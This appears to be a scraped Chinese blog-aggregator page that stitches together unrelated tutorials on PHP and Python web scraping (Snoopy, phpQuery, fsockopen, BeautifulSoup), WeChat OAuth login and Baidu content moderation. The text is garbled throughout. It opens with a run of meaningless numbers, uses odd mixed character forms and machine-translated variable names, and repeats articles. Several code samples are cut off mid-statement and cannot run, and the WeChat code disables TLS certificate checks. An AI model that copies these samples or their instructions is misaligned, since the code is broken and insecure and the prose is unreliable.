02,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,128,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,168,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,180,181,182,183,184,185,186,187,188,189,180,183,184,186,187,188,189,181,184,187,188,189,184,188,188,189,186,189,187,188,189,188,189,180,184,185,186,187,188,189,188,189,186,189,188,189,187,189,186,189,188,189。
php抓取網(wǎng)頁(yè)指定內容(php.ini中的max_execution設置設置的大點(diǎn)軟件)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 55 次瀏覽 ? 2022-01-11 19:12
在做爬取之前,記得把php.ini中的max_execution_time設置大一點(diǎn),否則會(huì )報錯。
一、 使用 Snoopy.class.php 抓取頁(yè)面
一個(gè)很可愛(ài)的班級名字。功能也很強大,用來(lái)模擬瀏覽器的功能,可以獲取網(wǎng)頁(yè)內容,發(fā)送表單等。
1)我要抓取網(wǎng)站的一個(gè)列表頁(yè)的內容,我要抓取的是全國醫院信息內容,如下圖:
2)我自然是復制了URL地址,用Snoopy類(lèi)抓取前10頁(yè)的內容,并將內容放到本地,在本地創(chuàng )建了一個(gè)html文件,用于后面的分析。
$snoopy=new Snoopy();
//醫院list頁(yè)面
for($i = 1; $i fetch($url);
file_put_contents("web/page/$i.html", $snoopy->results);
}
echo \'success\';
3)很奇怪,返回的內容不是國家內容,而是上海的相關(guān)內容
4) 后來(lái)懷疑里面可能設置了一個(gè)cookie,然后用firebug查了一下,有一個(gè)驚人的內幕
5)請求中也放入了cookie的值,加上了一個(gè)設置語(yǔ)句$snoopy->cookies["_area_"],情況就大不一樣了,順利返回全國信息。
$snoopy=new Snoopy();
//醫院list頁(yè)面
$snoopy->cookies["_area_"] = \'{"provinceId":"all","provinceName":"全國","cityId":"all","cityName":"不限??"}\';
for($i = 1; $i results;
}
2)使用phpQuery獲取節點(diǎn)信息,如下圖DOM結構:
使用一些phpQuery方法,結合DOM結構讀取各個(gè)醫院信息的URL地址。
for($i = 1; $i attr(\'href\')); //醫院詳情
}
}
3)根據讀取的URL地址列表,抓取指定頁(yè)面。
$detailIndex = 1;
for($i = 1; $i results);
$detailIndex++;
}
}
FQ工具下載:
克服障礙.rar
演示下載:
關(guān)于 Snoopy 類(lèi)的一些注意事項:
類(lèi)方法
獲?。?URI)
這是用于抓取網(wǎng)頁(yè)內容的方法。
$URI 參數是被抓取網(wǎng)頁(yè)的 URL 地址。
獲取的結果存儲在 $this->results 中。
如果你正在抓取一個(gè)幀,Snoopy 會(huì )將每個(gè)幀跟蹤到一個(gè)數組中,然后是 $this->results。
獲取文本($URI)
該方法與 fetch() 方法類(lèi)似,唯一不同的是該方法會(huì )去除 HTML 標簽等無(wú)關(guān)數據,只返回網(wǎng)頁(yè)中的文本內容。
獲取表單($URI)
該方法與fetch()類(lèi)似,唯一不同的是該方法會(huì )去除HTML標簽等無(wú)關(guān)數據,只返回網(wǎng)頁(yè)中的表單內容(form)。
獲取鏈接($URI)
該方法與 fetch() 方法類(lèi)似,唯一不同的是該方法會(huì )去除 HTML 標簽等無(wú)關(guān)數據,只返回網(wǎng)頁(yè)中的鏈接。
默認情況下,相對鏈接將自動(dòng)完成為完整的 URL。
提交($URI,$formvars)
此方法向 $URL 指定的鏈接地址發(fā)送確認表單。$formvars 是一個(gè)存儲表單參數的數組。
提交文本($URI,$formvars)
這個(gè)方法和submit()類(lèi)似,唯一的區別是這個(gè)方法會(huì )去掉HTML標簽等不相關(guān)的數據,登錄后只返回網(wǎng)頁(yè)的文本內容。
提交鏈接($URI)
這個(gè)方法和submit()類(lèi)似,唯一的區別是這個(gè)方法會(huì )去掉HTML標簽等不相關(guān)的數據,只返回網(wǎng)頁(yè)中的鏈接。
默認情況下,相對鏈接將自動(dòng)完成為完整的 URL。
類(lèi)屬性
$主機
連接主機
$端口
連接端口
$proxy_host
使用的代理主機(如果有)
$proxy_port
要使用的代理主機端口(如果有)
$代理
用戶(hù)代理偽裝(史努比 v0.1)
$推薦人
到達信息,如果有的話(huà)
$cookies
餅干,如果有的話(huà)
$原創(chuàng )頭文件
其他標題信息(如果有)
$maxredirs
最大重定向數,0 = 不允許 (5)
$offsiteok
是否允許異地重定向。(真的)
$展開(kāi)鏈接
是否完成鏈接到完整地址(true)
$用戶(hù)
身份驗證用戶(hù)名(如果有)
$通行證
身份驗證用戶(hù)名(如果有)
$接受
http 接受類(lèi)型(image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*)
$錯誤
錯誤在哪里,如果有的話(huà)
$response_code
服務(wù)器返回的響應碼
$標頭
從服務(wù)器返回的標頭
$最大長(cháng)度
最大返回數據長(cháng)度
$read_timeout
讀取操作超時(shí)(需要 PHP 4 Beta 4+),設置為 0 表示無(wú)超時(shí)
$timed_out
如果讀取操作超時(shí),此屬性返回 true(需要 PHP 4 Beta 4+)
$最大幀數
允許跟蹤的最大幀數
$狀態(tài) 查看全部
php抓取網(wǎng)頁(yè)指定內容(php.ini中的max_execution設置設置的大點(diǎn)軟件)
在做爬取之前,記得把php.ini中的max_execution_time設置大一點(diǎn),否則會(huì )報錯。
一、 使用 Snoopy.class.php 抓取頁(yè)面
一個(gè)很可愛(ài)的班級名字。功能也很強大,用來(lái)模擬瀏覽器的功能,可以獲取網(wǎng)頁(yè)內容,發(fā)送表單等。
1)我要抓取網(wǎng)站的一個(gè)列表頁(yè)的內容,我要抓取的是全國醫院信息內容,如下圖:
2)我自然是復制了URL地址,用Snoopy類(lèi)抓取前10頁(yè)的內容,并將內容放到本地,在本地創(chuàng )建了一個(gè)html文件,用于后面的分析。
$snoopy=new Snoopy();
//醫院list頁(yè)面
for($i = 1; $i fetch($url);
file_put_contents("web/page/$i.html", $snoopy->results);
}
echo \'success\';
3)很奇怪,返回的內容不是國家內容,而是上海的相關(guān)內容
4) 后來(lái)懷疑里面可能設置了一個(gè)cookie,然后用firebug查了一下,有一個(gè)驚人的內幕
5)請求中也放入了cookie的值,加上了一個(gè)設置語(yǔ)句$snoopy->cookies["_area_"],情況就大不一樣了,順利返回全國信息。
$snoopy=new Snoopy();
//醫院list頁(yè)面
$snoopy->cookies["_area_"] = \'{"provinceId":"all","provinceName":"全國","cityId":"all","cityName":"不限??"}\';
for($i = 1; $i results;
}
2)使用phpQuery獲取節點(diǎn)信息,如下圖DOM結構:
使用一些phpQuery方法,結合DOM結構讀取各個(gè)醫院信息的URL地址。
for($i = 1; $i attr(\'href\')); //醫院詳情
}
}
3)根據讀取的URL地址列表,抓取指定頁(yè)面。
$detailIndex = 1;
for($i = 1; $i results);
$detailIndex++;
}
}
FQ工具下載:
克服障礙.rar
演示下載:
關(guān)于 Snoopy 類(lèi)的一些注意事項:
類(lèi)方法
獲?。?URI)
這是用于抓取網(wǎng)頁(yè)內容的方法。
$URI 參數是被抓取網(wǎng)頁(yè)的 URL 地址。
獲取的結果存儲在 $this->results 中。
如果你正在抓取一個(gè)幀,Snoopy 會(huì )將每個(gè)幀跟蹤到一個(gè)數組中,然后是 $this->results。
獲取文本($URI)
該方法與 fetch() 方法類(lèi)似,唯一不同的是該方法會(huì )去除 HTML 標簽等無(wú)關(guān)數據,只返回網(wǎng)頁(yè)中的文本內容。
獲取表單($URI)
該方法與fetch()類(lèi)似,唯一不同的是該方法會(huì )去除HTML標簽等無(wú)關(guān)數據,只返回網(wǎng)頁(yè)中的表單內容(form)。
獲取鏈接($URI)
該方法與 fetch() 方法類(lèi)似,唯一不同的是該方法會(huì )去除 HTML 標簽等無(wú)關(guān)數據,只返回網(wǎng)頁(yè)中的鏈接。
默認情況下,相對鏈接將自動(dòng)完成為完整的 URL。
提交($URI,$formvars)
此方法向 $URL 指定的鏈接地址發(fā)送確認表單。$formvars 是一個(gè)存儲表單參數的數組。
提交文本($URI,$formvars)
這個(gè)方法和submit()類(lèi)似,唯一的區別是這個(gè)方法會(huì )去掉HTML標簽等不相關(guān)的數據,登錄后只返回網(wǎng)頁(yè)的文本內容。
提交鏈接($URI)
這個(gè)方法和submit()類(lèi)似,唯一的區別是這個(gè)方法會(huì )去掉HTML標簽等不相關(guān)的數據,只返回網(wǎng)頁(yè)中的鏈接。
默認情況下,相對鏈接將自動(dòng)完成為完整的 URL。
類(lèi)屬性
$主機
連接主機
$端口
連接端口
$proxy_host
使用的代理主機(如果有)
$proxy_port
要使用的代理主機端口(如果有)
$代理
用戶(hù)代理偽裝(史努比 v0.1)
$推薦人
到達信息,如果有的話(huà)
$cookies
餅干,如果有的話(huà)
$原創(chuàng )頭文件
其他標題信息(如果有)
$maxredirs
最大重定向數,0 = 不允許 (5)
$offsiteok
是否允許異地重定向。(真的)
$展開(kāi)鏈接
是否完成鏈接到完整地址(true)
$用戶(hù)
身份驗證用戶(hù)名(如果有)
$通行證
身份驗證用戶(hù)名(如果有)
$接受
http 接受類(lèi)型(image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*)
$錯誤
錯誤在哪里,如果有的話(huà)
$response_code
服務(wù)器返回的響應碼
$標頭
從服務(wù)器返回的標頭
$最大長(cháng)度
最大返回數據長(cháng)度
$read_timeout
讀取操作超時(shí)(需要 PHP 4 Beta 4+),設置為 0 表示無(wú)超時(shí)
$timed_out
如果讀取操作超時(shí),此屬性返回 true(需要 PHP 4 Beta 4+)
$最大幀數
允許跟蹤的最大幀數
$狀態(tài)
php抓取網(wǎng)頁(yè)指定內容( php使用fsockopen函數發(fā)送post,get請求獲取網(wǎng)頁(yè)內容的方法)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 48 次瀏覽 ? 2022-01-11 19:11
php使用fsockopen函數發(fā)送post,get請求獲取網(wǎng)頁(yè)內容的方法)
PHP使用fsockopen函數發(fā)送post、get請求獲取網(wǎng)頁(yè)內容的實(shí)現方法
人氣:121 時(shí)間:2021-02-25
這篇文章主要詳細介紹了php使用fsockopen函數發(fā)送post、get請求獲取網(wǎng)頁(yè)內容的實(shí)現方法,具有一定的參考價(jià)值,可以參考。
感興趣的朋友,就跟著(zhù)512筆記的小玲一起來(lái)看看吧!
本文的例子描述了php如何使用fsockopen函數發(fā)送post和get請求來(lái)獲取網(wǎng)頁(yè)內容。分享給大家,供大家參考。
具體實(shí)現代碼如下:
代碼顯示如下:
$post =1;
$url = parse_url($url);
$host ='https://www.512pic.com';
$path ='/';
$query ='?action=phpfensi.com';
$port =80;
?
if($post) {
? $out = "post $path http/1.0 ";
? $out .= "accept: */* ";
? //$out .= "referer: $boardurl ";
? $out .= "accept-language: zh-cn ";
? $out .= "content-type: application/x-www-form-urlencoded ";
? $out .= "user-agent: $_server[http_user_agent] ";
? $out .= "host: $host ";
? $out .= 'content-length: '.strlen($post)." ";
? $out .= "connection: close ";
? $out .= "cache-control: no-cache ";
? $out .= "cookie: $cookie ";
? $out .= $post;
?} else {
? $out = "get $path http/1.0 ";
? $out .= "accept: */* ";
? //$out .= "referer: $boardurl ";
? $out .= "accept-language: zh-cn ";
? $out .= "user-agent: $_server[http_user_agent] ";
? $out .= "host: $host ";
? $out .= "connection: close ";
? $out .= "cookie: $cookie ";
?}
?$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
?if(!$fp)?
?{
? return '';//note $errstr : $errno?
?} else {
? return '成功訪(fǎng)問(wèn)';
?}
fsockopen 語(yǔ)法:
代碼顯示如下:
resource fsockopen(string $hostname [,int $port = -1 [, int &$errno [,string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )
向指定主機上的資源發(fā)起套接字連接,php 支持 internet 領(lǐng)域中的目標,而 unix 在支持的套接字傳輸列表中指定,支持的傳輸列表也可以使用 stream_get_transports() 檢索。
默認情況下會(huì )啟用套接字,阻塞模式,您可以切換到非阻塞模式并使用stream_set_blocking()。
代碼顯示如下:
$fp = fsockopen("www.512pic.com", 80, $errno, $errstr, 30);
?if (!$fp) {
? echo "$errstr ($errno) ";
?} else {
? $out = "get / http/1.1 ";
? $out .= "host: www.512pic.com";
? $out .= "connection: close ";
? fwrite($fp, $out);
? while (!feof($fp)) {
?? echo fgets($fp, 128);
? }
? fclose($fp);
?}
我希望這篇文章對你的 PHP 編程有所幫助。
本文來(lái)自:
注:這里先介紹php使用fsockopen函數發(fā)送post和get請求獲取網(wǎng)頁(yè)內容的實(shí)現方法的內容。更多相關(guān)文章,可以關(guān)注512筆記的其他信息。
關(guān)鍵詞: 查看全部
php抓取網(wǎng)頁(yè)指定內容(
php使用fsockopen函數發(fā)送post,get請求獲取網(wǎng)頁(yè)內容的方法)
PHP使用fsockopen函數發(fā)送post、get請求獲取網(wǎng)頁(yè)內容的實(shí)現方法
人氣:121 時(shí)間:2021-02-25
這篇文章主要詳細介紹了php使用fsockopen函數發(fā)送post、get請求獲取網(wǎng)頁(yè)內容的實(shí)現方法,具有一定的參考價(jià)值,可以參考。
感興趣的朋友,就跟著(zhù)512筆記的小玲一起來(lái)看看吧!
本文的例子描述了php如何使用fsockopen函數發(fā)送post和get請求來(lái)獲取網(wǎng)頁(yè)內容。分享給大家,供大家參考。
具體實(shí)現代碼如下:
代碼顯示如下:
$post =1;
$url = parse_url($url);
$host ='https://www.512pic.com';
$path ='/';
$query ='?action=phpfensi.com';
$port =80;
?
if($post) {
? $out = "post $path http/1.0 ";
? $out .= "accept: */* ";
? //$out .= "referer: $boardurl ";
? $out .= "accept-language: zh-cn ";
? $out .= "content-type: application/x-www-form-urlencoded ";
? $out .= "user-agent: $_server[http_user_agent] ";
? $out .= "host: $host ";
? $out .= 'content-length: '.strlen($post)." ";
? $out .= "connection: close ";
? $out .= "cache-control: no-cache ";
? $out .= "cookie: $cookie ";
? $out .= $post;
?} else {
? $out = "get $path http/1.0 ";
? $out .= "accept: */* ";
? //$out .= "referer: $boardurl ";
? $out .= "accept-language: zh-cn ";
? $out .= "user-agent: $_server[http_user_agent] ";
? $out .= "host: $host ";
? $out .= "connection: close ";
? $out .= "cookie: $cookie ";
?}
?$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
?if(!$fp)?
?{
? return '';//note $errstr : $errno?
?} else {
? return '成功訪(fǎng)問(wèn)';
?}
fsockopen 語(yǔ)法:
代碼顯示如下:
resource fsockopen(string $hostname [,int $port = -1 [, int &$errno [,string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )
向指定主機上的資源發(fā)起套接字連接,php 支持 internet 領(lǐng)域中的目標,而 unix 在支持的套接字傳輸列表中指定,支持的傳輸列表也可以使用 stream_get_transports() 檢索。
默認情況下會(huì )啟用套接字,阻塞模式,您可以切換到非阻塞模式并使用stream_set_blocking()。
代碼顯示如下:
$fp = fsockopen("www.512pic.com", 80, $errno, $errstr, 30);
?if (!$fp) {
? echo "$errstr ($errno) ";
?} else {
? $out = "get / http/1.1 ";
? $out .= "host: www.512pic.com";
? $out .= "connection: close ";
? fwrite($fp, $out);
? while (!feof($fp)) {
?? echo fgets($fp, 128);
? }
? fclose($fp);
?}
我希望這篇文章對你的 PHP 編程有所幫助。
本文來(lái)自:
注:這里先介紹php使用fsockopen函數發(fā)送post和get請求獲取網(wǎng)頁(yè)內容的實(shí)現方法的內容。更多相關(guān)文章,可以關(guān)注512筆記的其他信息。
關(guān)鍵詞:
php抓取網(wǎng)頁(yè)指定內容(Python使用BeautifulSoup模塊解析html網(wǎng)頁(yè)的相關(guān)技巧實(shí)例)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 65 次瀏覽 ? 2022-01-09 08:20
本文章主要介紹python基于BeautifulSoup抓取網(wǎng)頁(yè)指定內容的方法,涉及到Python使用BeautifulSoup模塊解析HTML網(wǎng)頁(yè)的相關(guān)技巧。具有一定的參考價(jià)值。有需要的朋友可以參考以下
本文中的例子描述了python基于BeautifulSoup爬取網(wǎng)頁(yè)指定內容的方法。分享給大家,供大家參考。具體實(shí)現方法如下:
# _*_ coding:utf-8 _*_ #xiaohei.python.seo.call.me:) #win+python2.7.x import urllib2 from bs4 import Bea<a style="color:transparent">來(lái)源gao([email?protected]/* */@#碼(網(wǎng)</a>utifulSoup def jd(url): page = urllib2.urlopen(url) html_doc = page.read() soup = BeautifulSoup(html_doc.decode('gb2312','ignore')) for i in soup.find_all('div', id="sortlist"): one = i.find_all('a') two = i.find_all('li') print ("%s %s" % (one,two)) jd("http://channel.jd.com/computer.html")
希望本文對您的 Python 編程有所幫助。
以上是python基于BeautifulSoup爬取網(wǎng)頁(yè)指定內容的方法的詳細內容。更多內容請關(guān)注高代碼碼網(wǎng)其他相關(guān)話(huà)題文章! 查看全部
php抓取網(wǎng)頁(yè)指定內容(Python使用BeautifulSoup模塊解析html網(wǎng)頁(yè)的相關(guān)技巧實(shí)例)
本文章主要介紹python基于BeautifulSoup抓取網(wǎng)頁(yè)指定內容的方法,涉及到Python使用BeautifulSoup模塊解析HTML網(wǎng)頁(yè)的相關(guān)技巧。具有一定的參考價(jià)值。有需要的朋友可以參考以下
本文中的例子描述了python基于BeautifulSoup爬取網(wǎng)頁(yè)指定內容的方法。分享給大家,供大家參考。具體實(shí)現方法如下:
# _*_ coding:utf-8 _*_ #xiaohei.python.seo.call.me:) #win+python2.7.x import urllib2 from bs4 import Bea<a style="color:transparent">來(lái)源gao([email?protected]/* */@#碼(網(wǎng)</a>utifulSoup def jd(url): page = urllib2.urlopen(url) html_doc = page.read() soup = BeautifulSoup(html_doc.decode('gb2312','ignore')) for i in soup.find_all('div', id="sortlist"): one = i.find_all('a') two = i.find_all('li') print ("%s %s" % (one,two)) jd("http://channel.jd.com/computer.html")
希望本文對您的 Python 編程有所幫助。
以上是python基于BeautifulSoup爬取網(wǎng)頁(yè)指定內容的方法的詳細內容。更多內容請關(guān)注高代碼碼網(wǎng)其他相關(guān)話(huà)題文章!
php抓取網(wǎng)頁(yè)指定內容(tp3請求接口獲取code拉起授權的流程及流程)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 53 次瀏覽 ? 2022-01-05 05:08
一、準備工具
服務(wù)賬號(訂閱賬號無(wú)法獲取網(wǎng)頁(yè)授權用戶(hù)信息)、域名、服務(wù)器
二、配置公眾號
1、獲取開(kāi)發(fā)者ID和開(kāi)發(fā)者密碼:
2、設置網(wǎng)頁(yè)的授權域名:
業(yè)務(wù)域名和js接口安全域名,不需要配置,只需要配置網(wǎng)頁(yè)的授權域名即可!
3、配置證書(shū),將下載的證書(shū)放在域名根目錄下。
如果瀏覽器可以訪(fǎng)問(wèn)文件,則配置成功:
三、代碼實(shí)現
博主使用tp3框架
流程一:訪(fǎng)問(wèn)該方法,拉起web授權界面,如果同意則帶上參數跳轉到回調地址
myurl是我隨意設置的回調地址,這個(gè)地址不需要在公眾號指定! ! !
public function webpage_authorization()
{
$appid="微信公眾號上獲取"; //AppID
$key="微信公眾號上獲取"; //AppSecret
$myurl=urlencode("http://baidu.com/index/redirect_url"); //回調域名
$wxurl='https://open.weixin.qq.com/connect/oauth2/authorize?appid='.$appid.'&redirect_uri='.$myurl.'&response_type=code&scope=snsapi_userinfo&state=0#wechat_redirect';
header('Location:'.$wxurl);
}
流程二:從回調地址獲取code,獲取code后請求接口獲取access_token和openid,獲取openid后請求接口獲取用戶(hù)信息:
public function redirect_url(){
$appid="微信公眾號上獲取"; //AppID
$key="微信公眾號上獲取"; //AppSecret
$code = $_GET['code'];
if ($code) {
$url = "https://api.weixin.qq.com/sns/ ... id%3D$appid&secret=$key&code=$code&grant_type=authorization_code";
$s = file_get_contents($url);
$s = json_decode($s, true);
}
$access_token = $s["access_token"];
$openid = $s['openid'];
//第二步:根據全局access_token和openid查詢(xún)用戶(hù)信息
$get_user_info_url = "https://api.weixin.qq.com/sns/ ... t%3B.$access_token."&openid=".$openid."&lang=zh_CN";
$userinfo = $this->http_curl($get_user_info_url); // 獲取用戶(hù)信息
print_r($user_info);
}
public function http_curl($url){
//用curl傳參
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
//關(guān)閉ssl驗證
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch,CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
return json_decode($output, true);
}
最后打印的用戶(hù)信息:
四、礦坑總結:一號坑:
請求第一個(gè)接口獲取啟動(dòng)授權碼時(shí)報錯:redirect_uri域名與后臺配置不一致,錯誤碼為10003!但是公眾號配置沒(méi)問(wèn)題,所以在第一步請求接口獲取code時(shí),在回調地址參數中添加urlencode(回調地址)!
坑二:
在公眾號設置中,只需要配置網(wǎng)頁(yè)的授權域名,配置的域名不需要添加http!并且回調地址是自己在代碼中設置的,無(wú)需在公眾號中配置! ! !
坑三:
如果只是單純在h5網(wǎng)頁(yè)上獲取授權用戶(hù)的信息,不需要啟動(dòng)服務(wù)器配置! ! !
五、微信開(kāi)發(fā)文檔
鏈接:. 查看全部
php抓取網(wǎng)頁(yè)指定內容(tp3請求接口獲取code拉起授權的流程及流程)
一、準備工具
服務(wù)賬號(訂閱賬號無(wú)法獲取網(wǎng)頁(yè)授權用戶(hù)信息)、域名、服務(wù)器
二、配置公眾號
1、獲取開(kāi)發(fā)者ID和開(kāi)發(fā)者密碼:


2、設置網(wǎng)頁(yè)的授權域名:
業(yè)務(wù)域名和js接口安全域名,不需要配置,只需要配置網(wǎng)頁(yè)的授權域名即可!


3、配置證書(shū),將下載的證書(shū)放在域名根目錄下。

如果瀏覽器可以訪(fǎng)問(wèn)文件,則配置成功:


三、代碼實(shí)現
博主使用tp3框架
流程一:訪(fǎng)問(wèn)該方法,拉起web授權界面,如果同意則帶上參數跳轉到回調地址
myurl是我隨意設置的回調地址,這個(gè)地址不需要在公眾號指定! ! !
public function webpage_authorization()
{
$appid="微信公眾號上獲取"; //AppID
$key="微信公眾號上獲取"; //AppSecret
$myurl=urlencode("http://baidu.com/index/redirect_url"); //回調域名
$wxurl='https://open.weixin.qq.com/connect/oauth2/authorize?appid='.$appid.'&redirect_uri='.$myurl.'&response_type=code&scope=snsapi_userinfo&state=0#wechat_redirect';
header('Location:'.$wxurl);
}

流程二:從回調地址獲取code,獲取code后請求接口獲取access_token和openid,獲取openid后請求接口獲取用戶(hù)信息:
public function redirect_url(){
$appid="微信公眾號上獲取"; //AppID
$key="微信公眾號上獲取"; //AppSecret
$code = $_GET['code'];
if ($code) {
$url = "https://api.weixin.qq.com/sns/ ... id%3D$appid&secret=$key&code=$code&grant_type=authorization_code";
$s = file_get_contents($url);
$s = json_decode($s, true);
}
$access_token = $s["access_token"];
$openid = $s['openid'];
//第二步:根據全局access_token和openid查詢(xún)用戶(hù)信息
$get_user_info_url = "https://api.weixin.qq.com/sns/ ... t%3B.$access_token."&openid=".$openid."&lang=zh_CN";
$userinfo = $this->http_curl($get_user_info_url); // 獲取用戶(hù)信息
print_r($user_info);
}
public function http_curl($url){
//用curl傳參
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
//關(guān)閉ssl驗證
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch,CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
return json_decode($output, true);
}
最后打印的用戶(hù)信息:

四、礦坑總結:一號坑:
請求第一個(gè)接口獲取啟動(dòng)授權碼時(shí)報錯:redirect_uri域名與后臺配置不一致,錯誤碼為10003!但是公眾號配置沒(méi)問(wèn)題,所以在第一步請求接口獲取code時(shí),在回調地址參數中添加urlencode(回調地址)!

坑二:
在公眾號設置中,只需要配置網(wǎng)頁(yè)的授權域名,配置的域名不需要添加http!并且回調地址是自己在代碼中設置的,無(wú)需在公眾號中配置! ! !


坑三:

如果只是單純在h5網(wǎng)頁(yè)上獲取授權用戶(hù)的信息,不需要啟動(dòng)服務(wù)器配置! ! !

五、微信開(kāi)發(fā)文檔
鏈接:.
php抓取網(wǎng)頁(yè)指定內容(PHP怎樣用正則抓取頁(yè)面中的網(wǎng)址的相關(guān)內容嗎)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 62 次瀏覽 ? 2022-01-02 10:27
想知道PHP如何使用正則抓取頁(yè)面中URL的相關(guān)內容嗎?在本文中,我將為您講解使用常規PHP抓取頁(yè)面URL的相關(guān)知識和一些代碼示例。歡迎閱讀和指正。重點(diǎn):php,常規爬取,php,頁(yè)面爬取,php,爬取頁(yè)面指定內容,一起學(xué)習。
前言
鏈接也是超鏈接,它是從一個(gè)元素(文本、圖像、視頻等)到另一個(gè)元素(文本、圖像、視頻等)的鏈接。網(wǎng)頁(yè)中的鏈接一般分為三種,一種是絕對網(wǎng)址超鏈接,即一個(gè)頁(yè)面的完整路徑;另一種是相對URL超鏈接,一般鏈接到相同網(wǎng)站的其他頁(yè)面;另一種是頁(yè)面內的超鏈接,一般鏈接到同一頁(yè)面內的其他位置。
搞清楚鏈接的類(lèi)型就知道要抓取鏈接了,主要是絕對URL超鏈接和相對URL超鏈接。要寫(xiě)出正確的正則表達式,我們必須了解我們正在尋找的對象的模式。
先說(shuō)絕對鏈接,也叫URL(Uniform Resource Locator),它標識了互聯(lián)網(wǎng)上唯一的資源。 URL結構由三部分組成:協(xié)議、服務(wù)器名、路徑和文件名。
協(xié)議告訴瀏覽器對要打開(kāi)的文件的標識做什么,最常見(jiàn)的是http協(xié)議。本文也只考慮了HTTP協(xié)議,至于其他https、ftp、mailto、telnet協(xié)議等,可以根據需要自行添加。
服務(wù)器名稱(chēng)是告訴瀏覽器如何到達這個(gè)服務(wù)器的方式。通常是域名或IP地址,有時(shí)還包括端口號(默認為80)。在FTP協(xié)議中,還可以包括用戶(hù)名和密碼,本文暫不考慮。
路徑和文件名,通常用/分隔,表示文件的路徑和文件本身的名稱(chēng)。如果沒(méi)有具體的文件名,則訪(fǎng)問(wèn)該文件夾下的默認文件(可以在服務(wù)器端設置)。
現在很清楚了,要抓取的絕對鏈接的典型形式可以概括為
每個(gè)部分可以使用的字符范圍都有明確的規范。詳情請參考RFC1738。那么正則表達式就可以寫(xiě)出來(lái)了。
/(http|https):\/\/([\w\d\-_]+[\.\w\d\-_]+)[:\d+]?([\/]?[\w\/\.]+)/i
解釋如下: 查看全部
php抓取網(wǎng)頁(yè)指定內容(PHP怎樣用正則抓取頁(yè)面中的網(wǎng)址的相關(guān)內容嗎)
想知道PHP如何使用正則抓取頁(yè)面中URL的相關(guān)內容嗎?在本文中,我將為您講解使用常規PHP抓取頁(yè)面URL的相關(guān)知識和一些代碼示例。歡迎閱讀和指正。重點(diǎn):php,常規爬取,php,頁(yè)面爬取,php,爬取頁(yè)面指定內容,一起學(xué)習。
前言
鏈接也是超鏈接,它是從一個(gè)元素(文本、圖像、視頻等)到另一個(gè)元素(文本、圖像、視頻等)的鏈接。網(wǎng)頁(yè)中的鏈接一般分為三種,一種是絕對網(wǎng)址超鏈接,即一個(gè)頁(yè)面的完整路徑;另一種是相對URL超鏈接,一般鏈接到相同網(wǎng)站的其他頁(yè)面;另一種是頁(yè)面內的超鏈接,一般鏈接到同一頁(yè)面內的其他位置。
搞清楚鏈接的類(lèi)型就知道要抓取鏈接了,主要是絕對URL超鏈接和相對URL超鏈接。要寫(xiě)出正確的正則表達式,我們必須了解我們正在尋找的對象的模式。
先說(shuō)絕對鏈接,也叫URL(Uniform Resource Locator),它標識了互聯(lián)網(wǎng)上唯一的資源。 URL結構由三部分組成:協(xié)議、服務(wù)器名、路徑和文件名。
協(xié)議告訴瀏覽器對要打開(kāi)的文件的標識做什么,最常見(jiàn)的是http協(xié)議。本文也只考慮了HTTP協(xié)議,至于其他https、ftp、mailto、telnet協(xié)議等,可以根據需要自行添加。
服務(wù)器名稱(chēng)是告訴瀏覽器如何到達這個(gè)服務(wù)器的方式。通常是域名或IP地址,有時(shí)還包括端口號(默認為80)。在FTP協(xié)議中,還可以包括用戶(hù)名和密碼,本文暫不考慮。
路徑和文件名,通常用/分隔,表示文件的路徑和文件本身的名稱(chēng)。如果沒(méi)有具體的文件名,則訪(fǎng)問(wèn)該文件夾下的默認文件(可以在服務(wù)器端設置)。
現在很清楚了,要抓取的絕對鏈接的典型形式可以概括為
每個(gè)部分可以使用的字符范圍都有明確的規范。詳情請參考RFC1738。那么正則表達式就可以寫(xiě)出來(lái)了。
/(http|https):\/\/([\w\d\-_]+[\.\w\d\-_]+)[:\d+]?([\/]?[\w\/\.]+)/i
解釋如下:
php抓取網(wǎng)頁(yè)指定內容(之前做平臺內容發(fā)布審核都是自己構建一套違禁詞庫 )
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 79 次瀏覽 ? 2021-12-27 00:02
)
之前平臺內容發(fā)布審核是通過(guò)搭建一套違禁詞庫,通過(guò)代碼中的詞庫來(lái)判斷用戶(hù)發(fā)布的內容,現在可以使用百度ai api來(lái)完成這個(gè)功能。接下來(lái)我們簡(jiǎn)單說(shuō)一下怎么做:
首先打開(kāi)百度ai開(kāi)發(fā)平臺注冊賬號
進(jìn)入控制臺
創(chuàng )建自己的應用,獲取apikey和secret key
進(jìn)入文檔頁(yè)面文字審核:
圖片審核:
